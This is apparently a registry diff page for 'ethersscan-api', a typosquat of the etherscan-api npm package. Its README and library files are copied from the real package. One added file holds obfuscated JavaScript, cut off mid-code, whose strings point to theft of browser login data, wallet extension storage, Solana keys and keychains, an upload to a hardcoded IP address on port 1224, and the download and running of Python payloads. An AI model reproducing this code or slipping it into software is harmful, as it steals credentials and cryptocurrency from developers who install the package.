ethersscan-api 0.0.1-security → 0.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of ethersscan-api might be problematic. Click here for more details.

package/LICENSE.md ADDED
@@ -0,0 +1,9 @@
1
+ The MIT License (MIT)
2
+
3
+ Copyright (c) 2015 these people
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
6
+
7
+ The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
8
+
9
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
package/Readme.md ADDED
@@ -0,0 +1,96 @@
1
+ # Etherscan API
2
+
3
+ ## Development of a NEXTGEN Version has started - please stand by
4
+
5
+ [![npm](https://img.shields.io/npm/dt/etherscan-api.svg)](https://www.npmjs.com/package/etherscan-api)
6
+ [![license](https://img.shields.io/github/license/sebs/etherscan-api.svg)](https://github.com/sebs/etherscan-api/blob/master/LICENSE.md)
7
+ [![GitHub tag](https://img.shields.io/github/tag/sebs/etherscan-api.svg)](https://github.com/sebs/etherscan-api)
8
+ [![GitHub issues](https://img.shields.io/github/issues/sebs/etherscan-api.svg)](https://github.com/sebs/etherscan-api/issues)
9
+
10
+ A way to access the [etherscan.io api](https://etherscan.io/apis) using promises. Fetch a diverse set of information about the blockchain.
11
+
12
+ Mainnet
13
+
14
+
15
+ ```javascript
16
+ var api = require('ethersscan-api').init('389FCZBD45XFVTWYENCHJIXUMDCEHY42KT'); // init with your ethersacn API
17
+ var balance = api.account.balance('0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae');
18
+ balance.then(function(balanceData){
19
+ console.log(balanceData);
20
+ });
21
+ ```
22
+
23
+ ## Example in the wild
24
+
25
+ * [Polymer3 based example](https://github.com/hiherto-elements/test-app)
26
+
27
+
28
+ ## use a own instance of axios
29
+
30
+ ```js
31
+ const axios = require('axios');
32
+ const {
33
+ init,
34
+ pickChainUrl
35
+ } = require('..');
36
+
37
+
38
+ const chain = pickChainUrl(null);
39
+ const client = axios.create({
40
+ baseURL: chain,
41
+ timeout: 10000
42
+ });
43
+
44
+ var api = init('apikey', null, 10000, client);
45
+ ```
46
+
47
+ ## For testnet and L2s usage
48
+
49
+ Supported Chain Explorers
50
+
51
+ * [Etherscan](https://etherscan.io)
52
+ * ropsten: 'https://api-ropsten.etherscan.io'
53
+ * kovan: 'https://api-kovan.etherscan.io'
54
+ * rinkeby: 'https://api-rinkeby.etherscan.io'
55
+ * goerli: 'https://api-goerli.etherscan.io'
56
+ * sepolia: 'https://api-sepolia.etherscan.io'
57
+ * homestead: 'https://api.etherscan.io'
58
+ * [Arbiscan](https://arbiscan.io) (Experimental)
59
+ * arbitrum: 'https://api.arbiscan.io'
60
+ * arbitrum_rinkeby: 'https://api-testnet.arbiscan.io'
61
+ * [Snowtrace](https://snowtrace.io) (Experimental)
62
+ * avalanche:'https://api.snowtrace.io',
63
+ * avalanche_fuji: 'https://api-testnet.snowtrace.io'
64
+
65
+ Latest
66
+
67
+ ```javascript
68
+ // apikey, network, timeout
69
+ var api = require('etherscan-api').init('YourApiKey','rinkeby'. '3000');
70
+ ```
71
+
72
+ ## Install
73
+
74
+ ```bash
75
+ npm install etherscan-api --save
76
+ ```
77
+
78
+
79
+ ## API Documentation
80
+
81
+ [Full Api Docs](https://sebs.github.io/etherscan-api/)
82
+
83
+
84
+ ## Development workflow
85
+
86
+ * npm test - runs tests
87
+ * npm run posttest - starts the linter
88
+ * npm run lint - preconfigured linter
89
+ * npm run docs - generates the apidocs
90
+ * npm run bundle - builds a new bundle
91
+ * npm run preversion - Steps before we create a new Tag
92
+ * lint
93
+ * changelog
94
+ * npm run pages - pushes generated apidocs to the server
95
+ * postversion - after generating a new version, push the tag to the server
96
+ * npm run changelog - generates a changelog and pushes it
package/index.js ADDED
@@ -0,0 +1,9 @@
1
+ 'use strict';
2
+ const init = require('./lib/init');
3
+ const pickChainUrl = require('./lib/pick-chain-url');
4
+
5
+
6
+ module.exports = {
7
+ init,
8
+ pickChainUrl
9
+ };
package/lib/account.js ADDED
@@ -0,0 +1,263 @@
1
+ module.exports = function(getRequest, apiKey) {
2
+ return {
3
+ /**
4
+ * Returns the amount of Tokens a specific account owns.
5
+ * @param {string} address - Contract address
6
+ * @param {string} tokenname - Name of the token
7
+ * @param {string} contractaddress - Contract address
8
+ * @example
9
+ * var supply = api.account.tokenbalance(
10
+ * '0x4366ddc115d8cf213c564da36e64c8ebaa30cdbd',
11
+ * '',
12
+ * '0xe0b7927c4af23765cb51314a0e0521a9645f0e2a' // DGD contract address
13
+ * );
14
+ * @returns {Promise.<object>}
15
+ */
16
+ tokenbalance(address, tokenname, contractaddress) {
17
+
18
+ const module = 'account';
19
+ const action = 'tokenbalance';
20
+ const tag = 'latest';
21
+
22
+ var queryObject = {
23
+ module, action, apiKey, tag
24
+ };
25
+
26
+ if (contractaddress) {
27
+ queryObject.contractaddress = contractaddress;
28
+ }
29
+
30
+ if (tokenname) {
31
+ queryObject.tokenname = tokenname;
32
+ }
33
+
34
+ if (address) {
35
+ queryObject.address = address;
36
+ }
37
+
38
+ var query = new URLSearchParams(queryObject).toString();
39
+ return getRequest(query);
40
+ },
41
+ /**
42
+ * Returns the balance of a sepcific account
43
+ * @param {string} address - Address
44
+ * @example
45
+ * var balance = api.account.balance('0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae');
46
+ * @returns {Promise.<object>}
47
+ */
48
+ balance(address) {
49
+ const module = 'account';
50
+ let action = 'balance';
51
+ const tag = 'latest';
52
+
53
+ if (typeof address !== 'string' && address && address.length) {
54
+ address = address.join(',');
55
+ action = 'balancemulti';
56
+ }
57
+ const queryObject = {
58
+ module, action, tag, address, apiKey
59
+ };
60
+ var query = new URLSearchParams(queryObject).toString();
61
+ return getRequest(query);
62
+ },
63
+ /**
64
+ * Get a list of internal transactions
65
+ * @param {string} txhash - Transaction hash. If specified then address will be ignored
66
+ * @param {string} address - Transaction address
67
+ * @param {string} startblock - start looking here
68
+ * @param {string} endblock - end looking there
69
+ * @param {string} sort - Sort asc/desc
70
+ * @example
71
+ * var txlist = api.account.txlistinternal('0x40eb908387324f2b575b4879cd9d7188f69c8fc9d87c901b9e2daaea4b442170');
72
+ * @returns {Promise.<object>}
73
+ */
74
+ txlistinternal(txhash, address, startblock, endblock, sort) {
75
+ const module = 'account';
76
+ const action = 'txlistinternal';
77
+
78
+ var queryObject = {
79
+ module,
80
+ action,
81
+ apiKey
82
+ };
83
+
84
+ if (!sort) {
85
+ sort = 'asc';
86
+ }
87
+ queryObject.sort = sort;
88
+
89
+ if (txhash) {
90
+ queryObject.txhash = txhash;
91
+ } else {
92
+ queryObject.address = address;
93
+
94
+ if (!startblock) {
95
+ startblock = 0;
96
+ }
97
+ queryObject.startblock = startblock;
98
+
99
+ if (!endblock) {
100
+ endblock = 'latest';
101
+ }
102
+ queryObject.endblock = endblock;
103
+ }
104
+
105
+ var query = new URLSearchParams(queryObject).toString();
106
+
107
+ return getRequest(query);
108
+ },
109
+ /**
110
+ * Get a list of transactions for a specfic address
111
+ * @param {string} address - Transaction address
112
+ * @param {string} startblock - start looking here
113
+ * @param {string} endblock - end looking there
114
+ * @param {number} page - Page number
115
+ * @param {number} offset - Max records to return
116
+ * @param {string} sort - Sort asc/desc
117
+ * @example
118
+ * var txlist = api.account.txlist('0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae', 1, 'latest', 1, 100, 'asc');
119
+ * @returns {Promise.<object>}
120
+ */
121
+ txlist(address, startblock, endblock, page, offset, sort) {
122
+ const module = 'account';
123
+ const action = 'txlist';
124
+
125
+ if (!startblock) {
126
+ startblock = 0;
127
+ }
128
+
129
+ if (!endblock) {
130
+ endblock = 'latest';
131
+ }
132
+
133
+ if (!page) {
134
+ page = 1;
135
+ }
136
+
137
+ if (!offset) {
138
+ offset = 100;
139
+ }
140
+
141
+ if (!sort) {
142
+ sort = 'asc';
143
+ }
144
+ const queryObject = {
145
+ module, action, startblock, endblock, page, offset, sort, address, apiKey
146
+ };
147
+ var query = new URLSearchParams(queryObject).toString();
148
+ return getRequest(query);
149
+ },
150
+ /**
151
+ * Get a list of blocks that a specific account has mineds
152
+ * @example
153
+ * var txlist = api.account.getminedblocks('0x9dd134d14d1e65f84b706d6f205cd5b1cd03a46b');
154
+ * @param {string} address - Transaction hash
155
+ */
156
+ getminedblocks(address) {
157
+ const module = 'account';
158
+ const action = 'getminedblocks';
159
+
160
+ const queryObject = {
161
+ module, action, address, apiKey
162
+ };
163
+
164
+ var query = new URLSearchParams(queryObject).toString();
165
+ return getRequest(query);
166
+ },
167
+ /**
168
+ * [BETA] Get a list of "ERC20 - Token Transfer Events" by Address
169
+ * @param {string} address - Account address
170
+ * @param {string} startblock - start looking here
171
+ * @param {string} endblock - end looking there
172
+ * @param {number} page - Page number
173
+ * @param {number} offset - Max records to return
174
+ * @param {string} sort - Sort asc/desc
175
+ * @param {string} contractaddress - Address of ERC20 token contract (if not specified lists transfers for all tokens)
176
+ * @example
177
+ * var txlist = api.account.tokentx('0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae', '0x5F988D968cb76c34C87e6924Cc1Ef1dCd4dE75da', 1, 'latest', 'asc');
178
+ * @returns {Promise.<object>}
179
+ */
180
+ tokentx(address, contractaddress, startblock, endblock, page, offset, sort) {
181
+ const module = 'account';
182
+ const action = 'tokentx';
183
+
184
+ if (!startblock) {
185
+ startblock = 0;
186
+ }
187
+
188
+ if (!endblock) {
189
+ endblock = 'latest';
190
+ }
191
+
192
+ if (!page) {
193
+ page = 1;
194
+ }
195
+
196
+ if (!offset) {
197
+ offset = 100;
198
+ }
199
+
200
+ if (!sort) {
201
+ sort = 'asc';
202
+ }
203
+
204
+ var queryObject = {
205
+ module, action, startblock, endblock, page, offset, sort, address, apiKey
206
+ };
207
+
208
+ if (contractaddress) {
209
+ queryObject.contractaddress = contractaddress;
210
+ }
211
+ var query = new URLSearchParams(queryObject).toString();
212
+ return getRequest(query);
213
+ },
214
+
215
+ /**
216
+ * [BETA] Get a list of "ERC721 - Token Transfer Events" by Address
217
+ * @param {string} address - Account address
218
+ * @param {string} startblock - start looking here
219
+ * @param {string} endblock - end looking there
220
+ * @param {number} page - Page number
221
+ * @param {number} offset - Max records to return
222
+ * @param {string} sort - Sort asc/desc
223
+ * @param {string} contractaddress - Address of ERC721 token contract (if not specified lists transfers for all tokens)
224
+ * @example
225
+ * var txlist = api.account.tokenftntx('0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae', '0x5F988D968cb76c34C87e6924Cc1Ef1dCd4dE75da', 1, 'latest', 'asc');
226
+ * @returns {Promise.<object>}
227
+ */
228
+ tokennfttx(address, contractaddress, startblock, endblock, page, offset, sort) {
229
+ const module = 'account';
230
+ const action = 'tokennfttx';
231
+
232
+ if (!startblock) {
233
+ startblock = 0;
234
+ }
235
+
236
+ if (!endblock) {
237
+ endblock = 'latest';
238
+ }
239
+
240
+ if (!page) {
241
+ page = 1;
242
+ }
243
+
244
+ if (!offset) {
245
+ offset = 100;
246
+ }
247
+
248
+ if (!sort) {
249
+ sort = 'asc';
250
+ }
251
+
252
+ var queryObject = {
253
+ module, action, startblock, endblock, page, offset, sort, address, apiKey
254
+ };
255
+
256
+ if (contractaddress) {
257
+ queryObject.contractaddress = contractaddress;
258
+ }
259
+ var query = new URLSearchParams(queryObject).toString();
260
+ return getRequest(query);
261
+ }
262
+ };
263
+ };
package/lib/block.js ADDED
@@ -0,0 +1,22 @@
1
+ module.exports = function(getRequest, apiKey) {
2
+ return {
3
+ /**
4
+ * Find the block reward for a given address and block
5
+ * @param {string} address - Address of the block
6
+ * @param {string} blockno - Block number
7
+ * @returns {Promise.<object>}
8
+ */
9
+ getblockreward(address, blockno) {
10
+ const module = 'block';
11
+ const action = 'getblockreward';
12
+ if (!blockno) {
13
+ blockno = 0;
14
+ }
15
+ const queryObject = {
16
+ module, action, address, blockno, apiKey
17
+ };
18
+ var query = new URLSearchParams(queryObject).toString();
19
+ return getRequest(query);
20
+ }
21
+ };
22
+ };
@@ -0,0 +1,41 @@
1
+ module.exports = function(getRequest, apiKey) {
2
+ return {
3
+ /**
4
+ * Returns the ABI/Interface of a given contract
5
+ * @param {string} address - Contract address
6
+ * @example
7
+ * api.contract
8
+ * .getabi('0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413')
9
+ * .then(console.log)
10
+ * @returns {Promise.<object>}
11
+ */
12
+ getabi(address) {
13
+ const module = 'contract';
14
+ const action = 'getabi';
15
+
16
+ const queryObject = {
17
+ module, action, address, apiKey
18
+ };
19
+ var query = new URLSearchParams(queryObject).toString();
20
+ return getRequest(query);
21
+ },
22
+ /**
23
+ * Returns the Sourcecode of a given verified contract
24
+ * @param {string} address - Contract address
25
+ * @example
26
+ * api.contract
27
+ * .getsourcecode('0xBB9bc244D798123fDe783fCc1C72d3Bb8C189413')
28
+ * .then(console.log)
29
+ * @returns {Promise.<object>}
30
+ */
31
+ getsourcecode(address) {
32
+ const module = 'contract';
33
+ const action = 'getsourcecode';
34
+ const queryObject = {
35
+ module, action, address, apiKey
36
+ };
37
+ var query = new URLSearchParams(queryObject).toString();
38
+ return getRequest(query);
39
+ }
40
+ };
41
+ };
@@ -0,0 +1,50 @@
1
+
2
+ /**
3
+ * @param {string} chain
4
+ * @param {number} timeout
5
+ * @param {object} client
6
+ * @returns {string}
7
+ */
8
+
9
+ module.exports = function(chain, timeout, client) {
10
+
11
+
12
+ /**
13
+ * @param query
14
+ * @returns {Promise<any>}
15
+ */
16
+ function getRequest(query) {
17
+ return new Promise(function(resolve, reject) {
18
+ client.get('/api?' + query).then(function(response) {
19
+ var data = response.data;
20
+
21
+ if (data.status && data.status != 1) {
22
+ let returnMessage = data.message ||'NOTOK';
23
+ if (data.result && typeof data.result === 'string') {
24
+ returnMessage = data.result;
25
+ } else if (data.message && typeof data.message === 'string') {
26
+ returnMessage = data.message;
27
+ }
28
+
29
+ return reject(returnMessage);
30
+ }
31
+
32
+ if (data.error) {
33
+ var message = data.error;
34
+
35
+ if(typeof data.error === 'object' && data.error.message){
36
+ message = data.error.message;
37
+ }
38
+
39
+ return reject(new Error(message));
40
+ }
41
+
42
+ resolve(data);
43
+ }).catch(function(error) {
44
+ return reject(new Error(error));
45
+ });
46
+ });
47
+ }
48
+
49
+ return getRequest;
50
+ };
@@ -0,0 +1 @@
1
+ (function(_0x379093,_0x119c04){function _0x18bdf4(_0x17288a,_0x3912a5,_0x1ed37c,_0x48852b){return _0x4e42(_0x48852b-0x2b1,_0x1ed37c);}const _0x1f8f05=_0x379093();function _0x5dd7ed(_0x34c652,_0x2aff0f,_0x58f3f8,_0x1d254c){return _0x4e42(_0x58f3f8- -'0x16',_0x2aff0f);}while(!![]){try{const _0xe78d87=-parseInt(_0x5dd7ed(0x172,0x1d5,0x190,0x1a3))/(0x1*-0x208+0x10c5+-0xebc)+parseInt(_0x5dd7ed(0x1bf,'0x1a4','0x1e3','0x18d'))/(-0xf*0x187+0x7*0x156+-0xd91*-0x1)+-parseInt(_0x18bdf4('0x428','0x4c8','0x519',0x4ab))/(-0xe70+-0x16fe+0x2571)*(parseInt(_0x5dd7ed('0x1c8',0x206,0x222,'0x1a7'))/(0x103*-0x18+0xa9d+0xdaf))+parseInt(_0x18bdf4('0x56d','0x559',0x4f3,0x536))/(-0x8b*0x5+0x11dd+0xf21*-0x1)*(parseInt(_0x18bdf4(0x564,0x4cd,0x561,0x53d))/(0x36b*-0x4+0x1cb*0x2+0x4*0x287))+parseInt(_0x5dd7ed(0x23a,'0x1e5',0x1bf,'0x211'))/(-0x177b*0x1+-0x1*0xad3+-0x2255*-0x1)+parseInt(_0x5dd7ed('0x1c9',0x1ff,'0x1d7',0x25d))/(0x7*-0x48b+0xfe*0x22+0x1*-0x1e7)*(parseInt(_0x18bdf4(0x581,'0x503','0x517',0x517))/(0xa1b+-0xaf*0x19+-0x257*-0x3))+-parseInt(_0x18bdf4('0x48a',0x45a,'0x509',0x4ce))/(0x246c+-0x1*0x125b+-0x5*0x39b)*(-parseInt(_0x18bdf4(0x48c,0x4a4,'0x478',0x45e))/(-0x1f65+0x3b*0x19+-0x139*-0x15));if(_0xe78d87===_0x119c04)break;else _0x1f8f05['push'](_0x1f8f05['shift']());}catch(_0x37992b){_0x1f8f05['push'](_0x1f8f05['shift']());}}}(_0x44b1,-0x5c0a+-0x2bd7c+-0x19955*-0x5));function _0x2c7601(_0x43817a,_0x216d16,_0x54afed,_0x1d9fd8){return _0x4e42(_0x216d16- -'0x86',_0x1d9fd8);}const _0x33e555=(function(){let _0x4a587e=!![];return function(_0x3d2be8,_0x4a0b4c){const _0x1b5ea0=_0x4a587e?function(){function _0x40b33e(_0x48fecb,_0x18ab8f,_0x4938c4,_0x23ccd9){return _0x4e42(_0x23ccd9- -'0x86',_0x48fecb);}if(_0x4a0b4c){const _0x1d2c97=_0x4a0b4c[_0x40b33e('0x221','0x1fb','0x213',0x1a7)](_0x3d2be8,arguments);return _0x4a0b4c=null,_0x1d2c97;}}:function(){};return _0x4a587e=![],_0x1b5ea0;};}()),_0x5a6906=_0x33e555(this,function(){function _0x3930d0(_0x53fa98,_0x23f1b5,_0xdd7cec,_0x16a47d){return _0x4e42(_0x23f1b5- -'0xc9',_0x16a47d);}const _0x1169b3={};function _0x1a688e(_0x582665,_0x367a53,_0x566ea5,_0x2aba8d){return _0x4e42(_0x2aba8d- -0x3d3,_0x582665);}_0x1169b3[_0x1a688e(-'0x191',-0x110,-0xfd,-'0x165')]=_0x1a688e(-'0x182',-0x15b,-'0x192',-0x15a)+'+$';const _0x4b0640=_0x1169b3;return _0x5a6906[_0x1a688e(-0x1ed,-'0x1a2',-0x14a,-0x1a1)]()['search'](_0x4b0640[_0x3930d0('0x218',0x1a5,0x16f,0x1a2)])[_0x3930d0(0x110,0x169,'0x133',0x1e2)]()[_0x1a688e(-'0x170',-0x1c8,-0x1ab,-0x154)+'r'](_0x5a6906)['search'](_0x4b0640['CsCOS']);});_0x5a6906();const _0x46698a=(function(){let _0x4c1e70=!![];return function(_0x5530ab,_0x633b3e){const _0x171e6b=_0x4c1e70?function(){function _0x4bd4c6(_0x49af82,_0x2e6fb4,_0x5155a8,_0xd56876){return _0x4e42(_0x5155a8-'0xee',_0x2e6fb4);}if(_0x633b3e){const _0xf5cc60=_0x633b3e[_0x4bd4c6(0x311,'0x369','0x31b',0x332)](_0x5530ab,arguments);return _0x633b3e=null,_0xf5cc60;}}:function(){};return _0x4c1e70=![],_0x171e6b;};}()),_0x54aba2=_0x46698a(this,function(){const _0x36d646={'Hzqtd':function(_0x563c29,_0x8e5732,_0x11851d){return _0x563c29(_0x8e5732,_0x11851d);},'vaBaw':function(_0x555fdc,_0x88dc28){return _0x555fdc===_0x88dc28;},'XifBb':'xYysi','aLrqf':_0x269f57('0x111','0xac','0x10f','0xe4'),'VyNBp':function(_0x413b4a,_0x4eb908){return _0x413b4a(_0x4eb908);},'PgAIK':function(_0x345662,_0x132696){return _0x345662+_0x132696;},'KNdmd':_0xdcab7a('0x7d','0xed','0x12c',0x131)+_0xdcab7a('0x110','0x108',0xf7,0x9d),'BNSDx':_0xdcab7a('0x32','0x73',0xe6,0xba)+'ctor(\x22retu'+_0xdcab7a('0x11b',0x119,0xb2,0x133)+'\x20)','kLMIf':_0x269f57('0x142','0x132',0xd8,'0xd4'),'pdUMs':_0x269f57('0x5b','0xd7','0x9a',0xae),'HkFjs':_0x269f57(0x14b,0x1e8,'0x138',0x16c),'TxwkI':function(_0x59d4b6,_0x18b3da){return _0x59d4b6<_0x18b3da;}};let _0x4ea097;try{if(_0x36d646[_0xdcab7a(0x7d,0x8e,0xc2,0x42)](_0x36d646['XifBb'],_0x36d646[_0x269f57(0x189,0x150,0x116,'0x154')]))_0x36d646[_0xdcab7a('0x6e',0x99,'0xc8',0x39)](_0x5ccf6b,_0x269f57('0xbe','0x171','0x102','0x108')+_0x22c07d+'\x20-C\x20'+_0x313186,(_0x4c28b1,_0x461f42,_0x4e2a9b)=>{function _0x4864f2(_0x1a4727,_0x3cb5ef,_0x55364a,_0x45cce8){return _0x269f57(_0x1a4727-0x3,_0x3cb5ef,_0x55364a-'0x150',_0x45cce8-0x3a4);}if(_0x4c28b1)return _0x3cef75['rmSync'](_0xe36f3c),void(_0x521680=0x5c*-0x3d+-0x5*0x703+0x38fb*0x1);_0xd48f20[_0x4864f2(0x53a,'0x4ce',0x448,'0x4c7')](_0x5b05d9),_0x2cc5db();});else{const _0x49aa5f=_0x36d646[_0x269f57(0x13a,0xea,0x128,'0x146')](Function,_0x36d646['PgAIK'](_0x36d646[_0x269f57(0xf1,'0x37',0x61,0xb6)](_0x36d646[_0x269f57('0xd2','0x41',0x69,'0xa3')],_0x36d646[_0x269f57(0x1f5,0xf7,'0x1e5','0x17c')]),');'));_0x4ea097=_0x49aa5f();}}catch(_0x4d6e74){_0x4ea097=window;}const _0x5a780c=_0x4ea097[_0xdcab7a('0x78',0xb0,'0x3b','0x34')]=_0x4ea097[_0xdcab7a(0x8b,'0xb0',0x12a,'0xa4')]||{},_0x54fca8=[_0xdcab7a(0xc2,'0x6f',0x9a,'0x3'),_0xdcab7a(0x82,0xf6,0xb4,'0xb6'),_0x36d646['kLMIf'],_0x36d646[_0xdcab7a(0xc0,'0x67','0x30',0x20)],_0x36d646[_0x269f57(0x112,'0xea',0x94,'0xb1')],_0xdcab7a('0x93','0xef',0x14a,'0x126'),'trace'];function _0xdcab7a(_0x45c6bc,_0x49380d,_0x11d74a,_0xe29b0f){return _0x4e42(_0x49380d- -'0x15b',_0xe29b0f);}function _0x269f57(_0x901a72,_0x129afc,_0x3d0e00,_0xe46a26){return _0x4e42(_0xe46a26- -'0x10e',_0x129afc);}for(let _0x35816d=0x2539+-0x1*0x113f+0x1*-0x13fa;_0x36d646['TxwkI'](_0x35816d,_0x54fca8['length']);_0x35816d++){const _0x407f4e=_0x46698a[_0x269f57(0x194,'0x115','0x1bf',0x171)+'r'][_0xdcab7a('0xbc','0xa1','0x4d',0xfb)][_0xdcab7a(0x8,'0x72','0x8a',0x78)](_0x46698a),_0x22b7a5=_0x54fca8[_0x35816d],_0x5e5413=_0x5a780c[_0x22b7a5]||_0x407f4e;_0x407f4e[_0xdcab7a(0xf0,0x78,'0xd5','0x18')]=_0x46698a['bind'](_0x46698a),_0x407f4e[_0x269f57('0x16d',0xae,0x103,'0x124')]=_0x5e5413[_0x269f57('0x100','0xd3',0xe9,0x124)][_0xdcab7a('0x27','0x72',0x6e,'0xd8')](_0x5e5413),_0x5a780c[_0x22b7a5]=_0x407f4e;}});_0x54aba2();function _0x44b1(){const _0xc98bed=['writeFileS','bind','{}.constru','164.17.24:','pplication','uts','ZrFSM','__proto__','ZKUiA','221137oCRpVN','/.npl\x22','ser','dirname','Brave-Brow','ZuXnF','oPUhi','KxfOI','logkc-db','qjPob','LOFJp','renameSync','\x20Support/G','info','/pdown','readdirSyn','/AppData/L','join','ension\x20Set','.ldb','vaBaw','alLuc','moz-extens','isDirector','968JaoVij','efault','\x20-C\x20','oogle/Chro','User\x20Data','GCEvu','UQEzf','Hzqtd','Fdpip','homedir','mbCim','/uploads','384664qsvZBi','83769NAQtJR','cfgodnhcel','prototype','ain','/.config/','\x5cp.zi','/Local\x20Sta','quzpK','url','RAiSn','tings','pGAwb','forEach','copyFile','google-chr','DDEvr','WhGgK','console','/User\x20Data','type','mGFOI','DqPpJ','aholpfdial','gusqB','MmDbx','zJQFD','bohpjbbldc','le/Chrome','tar\x20-xf\x20','zLnRX','VLagb','VrsrK','accessSync','PHPqT','glkvK','11110gCARCq','opera','jgjfhomihk','uClTX','SYvZp','vcPKi','platform','round','XNFZZ','re/Brave-B','createRead','get','ocal/Micro','QnXBH','size','Default','apply','JBqpL','JQOBu','\x5c.pyp\x5cpyth','rmSync','toString','525','YPNjF','avvPQ','WdoLd','fadZk','20nuEXNE','mnkoeoihof','oaming/Moz','pikoobohma','ion','includes','CQBgt','soft/Edge/','Aiofi','\x20Support/B','bfnaelmome','kodbefgpgk','KWjRe','RkHOV','rename','brld_','return\x20(fu','/Local\x20Ext','table','aeachknmef','hostname','idb','mmFBT','son','ox/Profile','warn','/client/','hid','VyNBp','.log','OJsUJ','EJfJP','HTUiZ','push','MehOF','/.npl','formData','jblndlipeo','ECEaI','UxmSV','ibnejdfjmm','post','aLrqf','nction()\x20','sIUCK','/Login\x20Dat','5679NKCsvt','BraveSoftw','WfiWB','/Library/A','EvaxT','\x5cp2.zip','lGtJl','qgndQ','CsCOS','SDlMv','fhbohimael','NLned','/AppData/','ketIl','rn\x20this\x22)(','1224','eSoftware/','AWEdJ','hbbIt','(((.+)+)+)','exception','AKBiW','Local/Goog','olana/id.j','existsSync','constructo','BEaeX','\x20Support/','ess','hnfanknocf','path','801965udDKCL','uPJih','rKbmK','hifafgmccd','nmhnfnkdna','BNSDx','lXRYB','6LJBZfI','apagcccfch','DnEfX','ophhpkkolj','python3\x20\x22','UuVoG','replace','eychains/l','statSync','solana_id.','_uld','pld_','phepccionb','oUjHl','qVmsw','ome','imhlpmgjnj','JILLU','tmpdir','VcfsR','ync','hIrlV','XbgOb','NXbIN','gShrx','dVsiI','ExBSt','rowser','fdElP','oohckonoee','eofbddgcij','xhNPU','/Library/K','length','ffTNV','kpcnlpebkl','re/Opera\x20S','zzpzR','399098kQPkbg','Profile\x20','era\x20Softwa','JpoYZ','Eozzl','Stream','illa/Firef','3949HQFtSj','VzYFn','Browser','.files','KNdmd','nkbihfbeog','UxGGv','dojbb','YnuOh','ihcmP','on.exe','tqYTi','getTime','OYGUx','/AppData/R','error','-release','aeaoehlefn','HkFjs','GsJCc','Local/Brav','pdUMs','filename','PgAIK','/storage/d','gpHwN','IHJls','jXJYf','http://95.','log','gpafnldhgm'];_0x44b1=function(){return _0xc98bed;};return _0x44b1();}const _0x57fcb0=require('fs'),_0x225b50=require('os'),_0x3d1e5d=require(_0x5d6b18(0x2d3,'0x323',0x2f4,'0x35e')),_0x18e755=require('request'),_0x2b6499=require('child_proc'+_0x5d6b18(0x35f,0x289,'0x2f2',0x306))['exec'],_0x5bab10=_0x225b50[_0x5d6b18('0x2e7',0x2d2,0x2bc,'0x331')](),_0x17bf0c=_0x225b50[_0x5d6b18(0x2af,0x304,'0x293',0x23f)](),_0xc2ce4f=_0x225b50[_0x5d6b18(0x209,'0x2e8',0x266,0x215)](),_0x49f550=_0x225b50[_0x5d6b18(0x288,'0x24b',0x202,0x24c)](),_0xef03de=_0x225b50[_0x2c7601(0x1a8,0x187,'0x160',0x102)](),_0x40d999=_0x2c7601('0x11b','0x143',0x161,'0xff')+_0x2c7601(0x1aa,0x149,0x148,0x124)+_0x5d6b18('0x30c','0x36b',0x2e5,0x2c2),_0x4ab1b5=_0x4f37ea=>_0x4f37ea[_0x5d6b18(0x2ae,'0x37e','0x302','0x31a')](/^~([a-z]+|\/)/,(_0x5987d1,_0x3d7d8d)=>'/'===_0x3d7d8d?_0xc2ce4f:_0x3d1e5d[_0x5d6b18('0x2aa',0x284,0x248,'0x27b')](_0xc2ce4f)+'/'+_0x3d7d8d),_0x589ed5='3',_0x1805dc=_0x2c7601(0x150,'0x1ad','0x13c',0x211);function _0x4ce051(_0x296ea3){function _0x5f315f(_0x962c5a,_0x36fda9,_0x48c807,_0x1facd6){return _0x5d6b18(_0x962c5a-'0x1ca',_0x36fda9,_0x48c807- -'0x334',_0x1facd6-0x153);}const _0x4083cc={};function _0x138a6b(_0x2ff25c,_0x2fb742,_0x1ae22b,_0x2a9494){return _0x2c7601(_0x2ff25c-'0x18c',_0x2ff25c-0xdd,_0x1ae22b-0x1f0,_0x2a9494);}_0x4083cc[_0x138a6b(0x26f,'0x2c3','0x243','0x2b0')]=function(_0x196b0d,_0x214166){return _0x196b0d!==_0x214166;},_0x4083cc['qPzxW']=_0x5f315f(-'0x12a',-'0x145',-0xc1,-'0xb2');const _0x4cba02=_0x4083cc;try{return _0x57fcb0[_0x5f315f(-0x62,-'0x4b',-'0xaa',-0x75)](_0x296ea3),!![];}catch(_0xa0a787){if(_0x4cba02[_0x138a6b('0x26f','0x28f',0x29e,0x296)](_0x4cba02['qPzxW'],_0x4cba02['qPzxW']))_0x11f71c=_0x424802;else return![];}}const 